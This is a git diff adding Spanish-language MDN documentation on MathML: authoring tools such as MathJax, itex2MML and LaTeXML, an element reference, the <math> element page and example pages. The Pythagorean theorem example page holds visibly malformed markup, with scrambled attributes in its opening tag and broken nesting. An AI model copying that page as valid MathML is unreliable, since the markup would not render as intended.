+    <span class="script token"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/javascript<span class="punctuation token">"</span></span>
+            <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://cdn.mathjax.org/mathjax/latest/MathJax.js?config<span class="punctuation token">=</span>TeX-AMS-MML_HTMLorMML<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+   <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+   \[ \tau = \frac{x}{y} + \sqrt{3} \]
+...</code></pre>
+
+<p>Note that <a href="http://docs.mathjax.org/en/latest/tex.html#tex-and-latex-math-delimiters" title="http://docs.mathjax.org/en/latest/tex.html#tex-and-latex-math-delimiters">the dollar delimiters are not used by default</a>. To use the ASCIIMathML input instead, just replace <code>TeX-AMS-MML_HTMLorMML</code> by <code>AM-MML_HTMLorMML</code>.  MathJax has many other features, see the <a href="http://docs.mathjax.org/en/latest/" title="http://docs.mathjax.org/en/latest/">MathJax documentation</a> for further details.</p>
+
+<h3 id="Command-line_Programs">Command-line Programs</h3>
+
+<p>An alternative way is to parse the simple syntax before publishing your web pages. That is, you use command-line programs to generate them and publish these static pages on your server.</p>
+
+<ul>
+ <li>pros:
+  <ul>
+   <li>You get static Web pages: the LaTeX source don't need to be parsed at each page load, the MathML code is exposed to Web crawlers and you can put them easily on any Web server.</li>
+   <li>Binary programs may run faster than Javascript programs and can be more sophisticated e.g. have a much complete LaTeX support or generate other formats like EPUB.</li>
+   <li>You can keep compatibility with other tools to generate pdf e.g. you can use the same .tex source for both latex and latexml.</li>
+  </ul>
+ </li>
+ <li>cons:
+  <ul>
+   <li>This requires to install programs on your computer, which may be a bit more difficult or they may not be available on all platforms.</li>
+   <li>You must run the programs on your computer and have some kind of workflow to get the Web pages at the end ; that may be a bit tedious.</li>
+   <li>Binary programs are not appropriate to integrate them in a Mozilla extension or XUL application.</li>
+  </ul>
+ </li>
+</ul>
+
+<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> can be used <a href="https://github.com/fred-wang/TeXZilla/wiki/Using-TeXZilla#usage-from-the-command-line">from the command line</a> and will essentially have the same support as itex2MML described below. However, the stream filter behavior is not implemented yet.</p>
+
+<p>If you only want to parse simple LaTeX mathematical expressions, you might want to try tools like <a href="http://golem.ph.utexas.edu/%7Edistler/blog/itex2MML.html" title="http://golem.ph.utexas.edu/~distler/blog/itex2MML.html">itex2MML</a> or <a href="http://gva.noekeon.org/blahtexml/" title="http://gva.noekeon.org/blahtexml/">Blahtex</a>. The latter is often available on Linux distributions. Let's consider the former, which was originally written by Paul Gartside at the beginning of the Mozilla MathML project and has been maintained by Jacques Distler since then. It's a small stream filter written in C/C++ and generated with flex and bison ; in particular it is very fast. Install flex/bison as well as the classical compiler and make tools. On Unix, you can then download itex2MML, build and install it:</p>
+
+<pre class="brush: bash  language-html"><code class="language-html">wget http://golem.ph.utexas.edu/~distler/blog/files/itexToMML.tar.gz; \
+tar -xzf itexToMML.tar.gz; \
+cd itex2MML/itex-src;
+make
+sudo make install</code></pre>
+
+<p>Now suppose that you have a HTML page with TeX fragments delimited by dollars:</p>
+
+<pre class="brush: html  language-html"><code class="language-html">input.html
+
+...
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>$\sqrt{a^2-3c}$<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>$$ {\sum_{i=1}^N i} = \frac{N(N+1)}{2} $$<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>Then to generate the HTML page input.html with TeX expressions replaced by MathML expressions, just do</p>
+
+<pre class="language-html">cat input.html | itex2MML &gt; output.html</pre>
+
+<p>There are even more sophisticated tools to convert arbitrary LaTeX documents into HTML+MathML. For example <a href="https://www.tug.org/tex4ht/">TeX4ht</a> is often included in TeX distributions and has an option to use MathML instead of PNG images. This command will generate an XHTML+MathML document foo.xml from a foo.tex LaTeX source:</p>
+
+<pre class="language-html">   mk4ht mzlatex foo.tex # Linux/Mac platforms
+   mzlatex foo.tex       # Windows platform
+</pre>
+
+<p><a href="http://dlmf.nist.gov/LaTeXML/">LaTeXML</a> is another tool that is still actively developed but the release version is rather old, so you'd better <a href="https://github.com/KWARC/LaTeXML">install the development version</a>. In particular, this version can generate HTML5 and EPUB documents. Here is the command to execute in order to create a foo.html Web page from the foo.tex LaTeX source:</p>
+
+<pre class="language-html">  latexml --dest foo.xml foo.tex
+  latexmlpost --dest foo.html --format=html5 foo.xml
+</pre>
+
+<p>If you want to have a MathJax fallback for non-Gecko browsers, copy the <a href="https://developer.mozilla.org/es/docs/Web/MathML/Authoring$edit#mathjax-fallback">Javascript lines given above</a> into a <code>mathjax.js</code> file and use the <code>--javascript</code> parameter to tell LaTeXML to include that file:</p>
+
+<pre class="language-html">  latexmlpost --dest foo.html --format=html5 --javascript=mathjax.js foo.xml
+</pre>
+
+<p>If your LaTeX document is big, you might want to split it into several small pages rather putting everything in a single page. This is especially true if you use the MathJax fallback above, since in that case MathJax will take a lot of time to render the equations in non-Gecko browsers. Use the <code>--splitat</code> parameter for that purpose. For example, this will split the pages at the <code>\section</code> level:</p>
+
+<pre class="language-html">  latexmlpost --dest foo.html --format=html5 --splitat=section foo.xml
+</pre>
+
+<p>Finally, to generate an EPUB document, you can do</p>
+
+<pre class="language-html">  latexmlc --dest foo.epub --splitat=section foo.xml
+</pre>
+
+<h3 id="Server-side_Conversion">Server-side Conversion</h3>
+
+<ul>
+ <li>pros:
+  <ul>
+   <li>Conversion is done server-side and the MathML output can be cached, which is more efficient and cleaner than client-side conversion.</li>
+  </ul>
+ </li>
+ <li>cons:
+  <ul>
+   <li>This might be a bit more difficult to set up, since you need some admin right on your server.</li>
+  </ul>
+ </li>
+</ul>
+
+<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> can be <a href="https://github.com/fred-wang/TeXZilla/wiki/Advanced-Usages#using-texzilla-as-a-web-server">used as a Web server</a> in order to perform server-side LaTeX-to-MathML conversion. <a href="http://dlmf.nist.gov/LaTeXML/">LaTeXML</a> can also be used as a deamon to run server-side. <a href="https://github.com/gwicke/mathoid">Mathoid</a> is another tool based on MathJax that is also able to perform additional MathML-to-SVG conversion.</p>
+
+<p><a href="http://instiki.org/show/HomePage">Instiki</a> is a Wiki that integrates itex2MML to do server-side conversion. In future versions, <a href="https://www.mediawiki.org/wiki/MediaWiki">MediaWiki</a> will support server-side conversion too.</p>
+
+<h2 id="Graphical_Interface">Graphical Interface</h2>
+
+<h3 id="Input_Box">Input Box</h3>
+
+<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> has several interfaces, including a <a href="http://ckeditor.com/addon/texzilla">CKEditor plugin</a> used on MDN, an <a href="http://fred-wang.github.io/TeXZilla/">online demo</a>, a <a href="https://addons.mozilla.org/en-US/firefox/addon/texzilla/">Firefox add-on</a> or a <a href="http://r-gaia-cs.github.io/TeXZilla-webapp/">FirefoxOS Webapp</a>. <a href="http://abisource.org/">Abiword</a> contains a small equation editor, based on itex2MML.<a href="http://www.bluegriffon.com/"> Bluegriffon</a> is a mozilla-based Wysiwyg HTML editor and has an add-on to insert MathML formulas in your document, using ASCII/LaTeX-like syntax.</p>
+
+<p style="text-align: center;"><img alt="BlueGriffon" src="http://www.bluegriffon.com/public/shots/mathml-shot1.png" style="height: 467px; width: 358px;"></p>
+
+<h3 id="WYSIYWG_Editors">WYSIYWG Editors</h3>
+
+<p><a href="http://www.firemath.info/">Firemath</a> is an extension for Firefox that provides a WYSIWYG MathML editor. A preview of the formula is displayed using the rendering engine of Mozilla. The generated MathML code is available at the bottom. Use the text field for token elements and buttons to build advanced constructions. Once you are done, you can save your document as a XHTML page.</p>
+
+<p><a href="http://www.openoffice.org/">OpenOffice</a> and <a href="http://libreoffice.org/">LibreOffice</a> have an equation editor (File → New → Formula). It is semi-WYSIWYG: you enter the source of the formula using the equation panel/keyboard and a preview of the formula is regularly refreshed. The editor uses its own syntax "StarMath" for the source but MathML is also generated when the document is saved. To get the MathML code, save the document as mml and open it with any text editor. Alternatively, you can extract the odf file (which is actually a zip archive) and open an xml file called <code>content.xml</code>.</p>
+
+<p style="text-align: center;"><img alt="Open Office Math" src="https://developer.mozilla.org/@api/deki/files/4261/=openoffice.png" style="height: 527px; width: 483px;"></p>
+
+<p><a href="http://www.w3.org/Amaya/">Amaya</a> is the W3C's web editor, which is able to handle MathML inside XHTML documents. Use the Elements and the Special Chars panels to create various advanced mathematical constructs. Simple text such as <code>a+2</code> is automatically parsed and the appropriate MathML markup is generated. Once you are done, you can directly save your XHTML page and open it in Mozilla.</p>
+
+<h2 id="Optical_Character_Handwriting_Recognition">Optical Character &amp; Handwriting Recognition</h2>
+
+<p><a href="http://www.inftyreader.org/">Inftyreader</a> is able to perform some Optical Character Recognition, including translation of mathematical equations into MathML. Other tools can do handwriting recognition such as the <a href="http://windows.microsoft.com/en-za/windows7/use-math-input-panel-to-write-and-correct-math-equations">Windows Math Input Panel</a></p>
+
+<p style="text-align: center;"><img alt="Windows Math Input Panel" src="http://res1.windows.microsoft.com/resbox/en/windows%207/main/50f56cb9-478c-48e9-867e-8de06e1d4190_46.jpg" style="height: 385px; width: 410px;"></p>
+
+<p>or the online converter <a href="http://webdemo.visionobjects.com/" title="http://webdemo.visionobjects.com/portal.html">Web Equation</a>.</p>
+
+<p>Original Document Information</p>
+
+<div class="originaldocinfo">
+<ul>
+ <li>Author(s): Frédéric Wang</li>
+ <li>Other Contributors: Florian Scholz</li>
+ <li>Last Updated Date: April 2, 2011</li>
+ <li>Copyright Information: Portions of this content are © 2010 by individual mozilla.org contributors; content available under a Creative Commons license | <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Details</a>.</li>
+</ul>
+</div>
+
+<p> </p>
diff --git a/files/es/web/mathml/elemento/index.html b/files/es/web/mathml/elemento/index.html
new file mode 100644
index 0000000000..aa75307fa3
--- /dev/null
+++ b/files/es/web/mathml/elemento/index.html
@@ -0,0 +1,97 @@
+---
+title: Referencia de elementos de MathML
+slug: Web/MathML/Elemento
+translation_of: Web/MathML/Element
+---
+<p>A continuación se muestra una lista alfabética de elementos de <strong>presentación</strong> en MathML.<br>
+  La <em>etiqueta de presentación</em> es usada para describir la estructura y el diseño de la notación matemática mientras que la <em>etiqueta de contenido</em> proporciona el significado matemático subyacente y se supone que no se renderiza a través del parseador de MathML (ver {{ bug(276028) }}). Si quieres aprender más sobre la etiqueta de contenido deberías echar un vistazo al <a href="http://www.w3.org/TR/MathML3/chapter4.html" title="http://www.w3.org/TR/MathML3/chapter4.html">Capítulo 4</a> en la <a href="http://www.w3.org/TR/MathML3/" title="http://www.w3.org/TR/MathML3/">especificación de MathML 3</a>.</p>
+<h3 id="math">math</h3>
+<ul>
+  <li>{{ MathMLElement("math") }} (Elemento raíz)</li>
+</ul>
+<h3 id="A">A</h3>
+<ul>
+  <li>{{ MathMLElement("maction") }} (Acciones enlazadas a sub-expresiones)</li>
+  <li>{{ MathMLElement("maligngroup") }} (Grupo de alineación) {{ unimplemented_inline(122253) }}</li>
+  <li>{{ MathMLElement("malignmark") }} (Puntos de alineación) {{ unimplemented_inline(122253) }}</li>
+</ul>
+<h3 id="E">E</h3>
+<ul>
+  <li>{{ MathMLElement("menclose") }} (Enclosed contents)</li>
+  <li>{{ MathMLElement("merror") }} (Enclosed syntax error messages)</li>
+</ul>
+<h3 id="F">F</h3>
+<ul>
+  <li>{{ MathMLElement("mfenced") }} (Paréntesis)</li>
+  <li>{{ MathMLElement("mfrac") }} (Fracción)</li>
+</ul>
+<h3 id="G">G</h3>
+<ul>
+  <li>{{ MathMLElement("mglyph") }} (Mostrar símbolos no estándar) {{ unimplemented_inline(297465) }}</li>
+</ul>
+<h3 id="I">I</h3>
+<ul>
+  <li>{{ MathMLElement("mi") }} (Identificador)</li>
+</ul>
+<h3 id="L">L</h3>
+<ul>
+  <li>{{ MathMLElement("mlabeledtr") }} (Fila etiquetada en una tabla o matriz) {{ unimplemented_inline(689641) }}</li>
+  <li>{{ MathMLElement("mlongdiv") }} (Notación de la división larga) {{ unimplemented_inline(534967) }}</li>
+</ul>
+<h3 id="M">M</h3>
+<ul>
+  <li>{{ MathMLElement("mmultiscripts") }} (Prescripts and tensor indices)</li>
+</ul>
+<h3 id="N">N</h3>
+<ul>
+  <li>{{ MathMLElement("mn") }} (Número)</li>
+</ul>
+<h3 id="O">O</h3>
+<ul>
+  <li>{{ MathMLElement("mo") }} (Operador)</li>
+  <li>{{ MathMLElement("mover") }} (Overscript)</li>
+</ul>
+<h3 id="P">P</h3>
+<ul>
+  <li>{{ MathMLElement("mpadded") }} (Espacio alrrededor del contenido)</li>
+  <li>{{ MathMLElement("mphantom") }} (Contenido invisible con espacio reservado)</li>
+</ul>
+<h3 id="R">R</h3>
+<ul>
+  <li>{{ MathMLElement("mroot") }} (Radical con índice especificado)</li>
+  <li>{{ MathMLElement("mrow") }} (Sub-expressiones agrupadas)</li>
+</ul>
+<h3 id="S">S</h3>
+<ul>
+  <li>{{ MathMLElement("ms") }} (String literal)</li>
+  <li>{{ MathMLElement("mscarries") }} (Annotations such as carries) {{ unimplemented_inline(534967) }}</li>
+  <li>{{ MathMLElement("mscarry") }} (Single carry, child element of {{ MathMLElement("mscarries") }}) {{ unimplemented_inline(534967) }}</li>
+  <li>{{ MathMLElement("msgroup") }} (Grouped rows of {{ MathMLElement("mstack") }} and {{ MathMLElement("mlongdiv") }} elements) {{ unimplemented_inline(534967) }}</li>
+  <li>{{ MathMLElement("msline") }} (Horizontal lines inside {{ MathMLElement("mstack") }} elements) {{ unimplemented_inline(534967) }}</li>
+  <li>{{ MathMLElement("mspace") }} (Space)</li>
+  <li>{{ MathMLElement("msqrt") }} (Square root without an index)</li>
+  <li>{{ MathMLElement("msrow") }} (Rows in {{ MathMLElement("mstack") }} elements) {{ unimplemented_inline(534967) }}</li>
+  <li>{{ MathMLElement("mstack") }} (Stacked alignment) {{ unimplemented_inline(534967) }}</li>
+  <li>{{ MathMLElement("mstyle") }} (Style change)</li>
+  <li>{{ MathMLElement("msub") }} (Subscript)</li>
+  <li>{{ MathMLElement("msup") }} (Superscript)</li>
+  <li>{{ MathMLElement("msubsup") }} (Subscript-superscript pair)</li>
+</ul>
+<h3 id="T">T</h3>
+<ul>
+  <li>{{ MathMLElement("mtable") }} (Table or matrix)</li>
+  <li>{{ MathMLElement("mtd") }} (Cell in a table or a matrix)</li>
+  <li>{{ MathMLElement("mtext") }} (Text)</li>
+  <li>{{ MathMLElement("mtr") }} (Row in a table or a matrix)</li>
+</ul>
+<h3 id="U">U</h3>
+<ul>
+  <li>{{ MathMLElement("munder") }} (Underscript)</li>
+  <li>{{ MathMLElement("munderover") }} (Underscript-overscript pair)</li>
+</ul>
+<h3 id="Other_elements">Other elements</h3>
+<ul>
+  <li>{{ MathMLElement("semantics") }} (Container for semantic annotations)</li>
+  <li><a href="/en-US/docs/MathML/Element/semantics"><code>&lt;annotation&gt;</code></a> (Data annotations)</li>
+  <li><a href="/en-US/docs/MathML/Element/semantics"><code>&lt;annotation-xml&gt;</code></a> (XML annotations)d</li>
+</ul>
diff --git a/files/es/web/mathml/elemento/math/index.html b/files/es/web/mathml/elemento/math/index.html
new file mode 100644
index 0000000000..c7ecf0f0ab
--- /dev/null
+++ b/files/es/web/mathml/elemento/math/index.html
@@ -0,0 +1,162 @@
+---
+title: <math>
+slug: Web/MathML/Elemento/math
+translation_of: Web/MathML/Element/math
+---
+<div>{{MathMLRef}}</div>
+
+<p class="summary"><code>&lt;math&gt;</code> es el elemento superior en MathML. Cada instancia válida de MathML debe estar rodeada de etiquetas <code>&lt;math&gt;</code>. Además, no debes anidar un segundo elemento <code>&lt;math&gt;</code> dentro de un primero, pero puedes tener un número arbitrario de otros elementos hijos en él.</p>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Además de los siguientes atributos, el elemento <code>&lt;math&gt;</code> acepta cualquier atributo del elemento {{ MathMLElement("mstyle") }}.</p>
+
+<dl>
+ <dt id="attr-class-id-style">class, id, style</dt>
+ <dd>Disponibles para el uso con <a href="/es/docs/Web/CSS" lang="es" title="es/docs/Web/CSS">hojas de estilo</a>.</dd>
+ <dt id="attr-dir">dir</dt>
+ <dd>La dirección general de las fórmulas. Sus valores posibles son <code>ltr</code> (izquierda a derecha) o bien <code>rtl</code> (derecha a izquierda).</dd>
+ <dt id="attr-href">href</dt>
+ <dd>Usado para definir un hipervínculo a un URI (<strong>I</strong>dentificador de <strong>R</strong>ecurso <strong>U</strong>nificado) especificado.</dd>
+ <dt id="attr-mathbackground">mathbackground</dt>
+ <dd>El color de fondo. Puedes usar <code>#rgb</code>, <code>#rrggbb</code> y <a href="/es/docs/Web/CSS/color_value#Palabras_clave_de_colores" lang="es" title="/es/docs/Web/CSS/color_value">palabras clave de colores</a>.</dd>
+ <dt id="attr-mathcolor">mathcolor</dt>
+ <dd>El color de texto. Puedes usar <code>#rgb</code>, <code>#rrggbb</code> y <a href="/es/docs/Web/CSS/color_value#Palabras_clave_de_colores" lang="es" title="/es/docs/Web/CSS/color_value">palabras clave de colores</a>.</dd>
+ <dt id="attr-display">display</dt>
+ <dd>Este atributo enumerado especifica de qué manera el marcado MathML debería ser renderizado. Puede tomar uno de los siguientes valores:
+ <ul>
+  <li><code>block</code>, el cual indica que este elemento será incluido fuera del fragmento de texto actual , en forma de bloque individual que puede ser posicionado en cualquier sitio sin cambiar el significado del texto;</li>
+  <li><code>inline</code>, el cual indica que este elemento será incluido en el fragmento de texto actual, y no puede ser sacado del mismo sin cambiar el significado del texto.</li>
+ </ul>
+
+ <p>De no estar presente, toma <code>inline</code> por defecto.</p>
+ </dd>
+ <dt id="attr-mode">mode {{deprecated_inline}}</dt>
+ <dd>Deprecado a favor del <a href="/es/docs/MathML/Element/math#attr-display" lang="es">atributo display</a>.<br>
+ Sus valores posibles son: <code>display</code> (que tiene el mismo efecto que <code>display="block"</code>) e <code>inline</code>.</dd>
+ <dt id="attr-overflow">overflow</dt>
+ <dd>Especifica el comportamiento de una expresión si es demasiado larga para caber en el ancho asignado.<br>
+ Sus valores posibles son: <code>linebreak</code> (por defecto), <code>scroll</code>, <code>elide</code>, <code>truncate</code>, <code>scale</code>.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p><img alt="Theorem of Pythagoras" src="/files/3157/math.jpg"></p>
+
+<h3 id="Notación_HTML5">Notación HTML5</h3>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;MathML en HTML5&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+  &lt;math&gt;
+    &lt;mrow&gt;
+      &lt;mrow&gt;
+        &lt;msup&gt;
+          &lt;mi&gt;a&lt;/mi&gt;
+          &lt;mn&gt;2&lt;/mn&gt;
+        &lt;/msup&gt;
+        &lt;mo&gt;+&lt;/mo&gt;
+        &lt;msup&gt;
+          &lt;mi&gt;b&lt;/mi&gt;
+          &lt;mn&gt;2&lt;/mn&gt;
+        &lt;/msup&gt;
+      &lt;/mrow&gt;
+      &lt;mo&gt;=&lt;/mo&gt;
+      &lt;msup&gt;
+        &lt;mi&gt;c&lt;/mi&gt;
+        &lt;mn&gt;2&lt;/mn&gt;
+      &lt;/msup&gt;
+    &lt;/mrow&gt;
+  &lt;/math&gt;
+
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Notación_XHTML">Notación XHTML</h3>
+
+<pre class="brush: xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN" "http://www.w3.org/Math/DTD/mathml2/xhtml-math11-f.dtd"&gt;
+&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
+&lt;head&gt;
+ &lt;title&gt;MathML en XHTML&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+  &lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;
+    &lt;mrow&gt;
+      &lt;mrow&gt;
+        &lt;msup&gt;
+          &lt;mi&gt;a&lt;/mi&gt;
+          &lt;mn&gt;2&lt;/mn&gt;
+        &lt;/msup&gt;
+        &lt;mo&gt;+&lt;/mo&gt;
+        &lt;msup&gt;
+          &lt;mi&gt;b&lt;/mi&gt;
+          &lt;mn&gt;2&lt;/mn&gt;
+        &lt;/msup&gt;
+      &lt;/mrow&gt;
+      &lt;mo&gt;=&lt;/mo&gt;
+      &lt;msup&gt;
+        &lt;mi&gt;c&lt;/mi&gt;
+        &lt;mn&gt;2&lt;/mn&gt;
+      &lt;/msup&gt;
+    &lt;/mrow&gt;
+  &lt;/math&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p><strong>Notas</strong>: Los documentos XHTML con MathML deben servirse como <code>application/xhtml+xml</code>. Puedes lograrlo facilmente añadiendo la extensión <code>.xhtml</code> a tus archivos locales. Para servidores Apache puedes <a class="external" href="http://httpd.apache.org/docs/2.4/mod/mod_mime.html#addtype">configurar tu archivo <code>.htaccess</code></a> para direccionar extensiones al tipo Mime correcto. Ya que estás escribiendo tu MathML en un archivo XML, asegurate también de escribir un documento XML bien formado.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('MathML3', 'chapter2.html#interf.toplevel', 'The Top-Level math Element') }}</td>
+   <td>{{ Spec2('MathML3') }}</td>
+   <td>Especificación actual</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('MathML2', 'chapter7.html#interf.toplevel', 'The Top-Level math Element') }}</td>
+   <td>{{ Spec2('MathML2') }}</td>
+   <td>Especificación inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p> </p>
+
+
+
+<p>{{Compat("mathml.elements.math")}}</p>
+
+<p> </p>
+
+<h2 id="Notas_específicas_a_Firefox">Notas específicas a Firefox</h2>
+
+<p>Firefox 7 introdujo soporte para aceptar todos los atributos MathML en el elemento superior <code>math</code> (por ejemplo, el mismo comportamiento que el elemento {{ MathMLElement("mstyle") }}). Sin embargo, el atributo <code>displaystyle</code> no fue tomado en cuenta y <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=669719">ha sido añadido</a> en Firefox 8.</p>
+
+<p>Texto de respaldo (<code>alttext</code>) o referir a una imagen alternativa usando los atributos <code>altimg</code>, <code>altimg-width</code>, <code>altimg-height</code> o <code>altimg-valign</code> no se encuentra actualmente implementado en Firefox.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>Elemento <strong>HTML</strong> superior: {{ HTMLElement("html") }}</li>
+ <li>Elemento <strong>SVG</strong> superior: {{ SVGElement("svg") }}</li>
+ <li>Prueba MathML para navegadores: Para <a class="link-https" href="https://www.eyeasme.com/Joe/MathML/MathML_browser_test">XHTML</a> y <a class="link-https" href="https://eyeasme.com/Joe/MathML/HTML5_MathML_browser_test">HTML5</a></li>
+</ul>
diff --git a/files/es/web/mathml/examples/index.html b/files/es/web/mathml/examples/index.html
new file mode 100644
index 0000000000..0bbd27bf96
--- /dev/null
+++ b/files/es/web/mathml/examples/index.html
@@ -0,0 +1,24 @@
+---
+title: Examples
+slug: Web/MathML/Examples
+tags:
+  - MathML
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/MathML/Examples
+---
+<p>Below you'll find some examples you can look at to help you to understand how to use MathML to display increasingly complex mathematical concepts in Web content.</p>
+<dl>
+  <dt>
+    <a href="/en-US/docs/Web/MathML/Examples/MathML_Pythagorean_Theorem">Pythagorean Theorem</a></dt>
+  <dd>
+    Small example showing a proof of the Pythagorean Theorem.</dd>
+  <dt>
+    <a href="/en-US/docs/Web/MathML/Examples/Deriving_the_Quadratic_Formula">Deriving the Quadratic Formula</a></dt>
+  <dd>
+    Outlines the derivation of the Quadratic Formula.</dd>
+  <dt>
+    <a href="/en-US/docs/Mozilla/MathML_Project/MathML_Torture_Test">MathML Torture Test</a></dt>
+  <dd>
+    Large set of test markup.</dd>
+</dl>
diff --git a/files/es/web/mathml/examples/mathml_pythagorean_theorem/index.html b/files/es/web/mathml/examples/mathml_pythagorean_theorem/index.html
new file mode 100644
index 0000000000..46ec3444f8
--- /dev/null
+++ b/files/es/web/mathml/examples/mathml_pythagorean_theorem/index.html
@@ -0,0 +1,9 @@
+---
+title: MathML Pythagorean Theorem
+slug: Web/MathML/Examples/MathML_Pythagorean_Theorem
+translation_of: Web/MathML/Examples/MathML_Pythagorean_Theorem
+---
+<p>&lt;math 1ex"="" height="0.5ex" side="left" style="font-size: 16pt; font-family: arial; mspace depth=" width="2.5ex"&gt; <mtable columnalign="left"> <mtr> <mtd> <mrow> <mrow> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <msup> <mi>a</mi><mn>2</mn> </msup> </mrow> <mo> + </mo> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> = </mo> <msup> <mi>c</mi> <mn>2</mn> </msup> </mrow> </mrow></mrow></mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mrow><mtext mathcolor="black" mathsize="12pt"> Podemos demostrar el teorema algebraicamente mostrando que el area del cuadrado grande<br>
+  es igual al area del cuadrado interno (hipotenusa al cuadrado) mas el area de los cuatro triangulos: </mtext></mrow></mrow></mrow></mrow></mtd></mtr><br>
+  <br>
+  <mtr> <mtd> <mrow> <mrow> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mo>(</mo><mi>a</mi><mo> + </mo> <mi>b</mi><msup><mo>)</mo><mn>2</mn></msup><mo> = </mo> <msup><mi>c</mi><mn>2</mn></msup><mo> + </mo> <mn>4</mn><mo>(</mo><mfrac><mrow><mn>1</mn></mrow> <mn>2</mn></mfrac><mo>)</mo><mi>a</mi> <mi>b</mi> </mrow> </mrow> </mrow></mrow></mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <msup><mi>a</mi><mn>2 </mn></msup><mo> + </mo> <mn>2</mn><mi>a</mi><mi>b</mi><mo> + </mo><msup><mi>b</mi><mn>2 </mn></msup> <mo> =</mo> <msup><mi>c</mi><mn>2</mn></msup><mo> + </mo> <mn>2</mn><mi>a<mi>b</mi> </mi></mrow> </mrow> </mrow></mrow></mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <msup><mi>a</mi><mn>2 </mn></msup><mo> + </mo> <msup><mi>b</mi><mn>2</mn></msup> <mo> =</mo> <msup><mi>c</mi><mn>2</mn></msup> </mrow> </mrow> </mrow></mrow></mtd> </mtr> </mtable></p>
diff --git a/files/es/web/mathml/index.html b/files/es/web/mathml/index.html
new file mode 100644
index 0000000000..811aa9b05e
--- /dev/null
+++ b/files/es/web/mathml/index.html
@@ -0,0 +1,75 @@
+---
+title: MathML
+slug: Web/MathML
+tags:
+  - Landing
+  - MathML
+  - NeedsTranslation
+  - Reference
+  - Référence(2)
+  - TopicStub
+translation_of: Web/MathML
+---
+<p class="summary"><strong>Lenguaje de Marcado Matemático (MathML)</strong> es un lenguaje de marcado <a href="/es/docs/Introducción_a_XML" lang="es" title="/es/docs/Introducción_a_XML">XML</a> para describir expresiones matemáticas capturando tanto su contenido como su estructura.</p>
+
+<p>Aquí encontrarás enlaces a documentación, ejemplos y herramientas que te ayudarán a trabajar con esta tecnología poderosa. Para un resumen, vea la <a href="https://fred-wang.github.io/MozSummitMathML/index.html" lang="es">presentación</a> que se preparó para Mozilla Summit <time datetime="2013-10-04">2013</time>.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 id="Referencia_de_MathML">Referencia de MathML</h2>
+
+<dl>
+ <dt><a href="/es/docs/Web/MathML/Elemento" lang="es">Referencia de elementos de MathML</a></dt>
+ <dd>Detalles sobre cada elemento de MathML e información sobre compatibilidad con navegadores móviles y de escritorio.</dd>
+ <dt><a href="/es/docs/Web/MathML/Attribute" lang="es">Referencia de atributos de MathML</a></dt>
+ <dd>Información sobre los atributos que modifican el aspecto y comportamiento de los elementos.</dd>
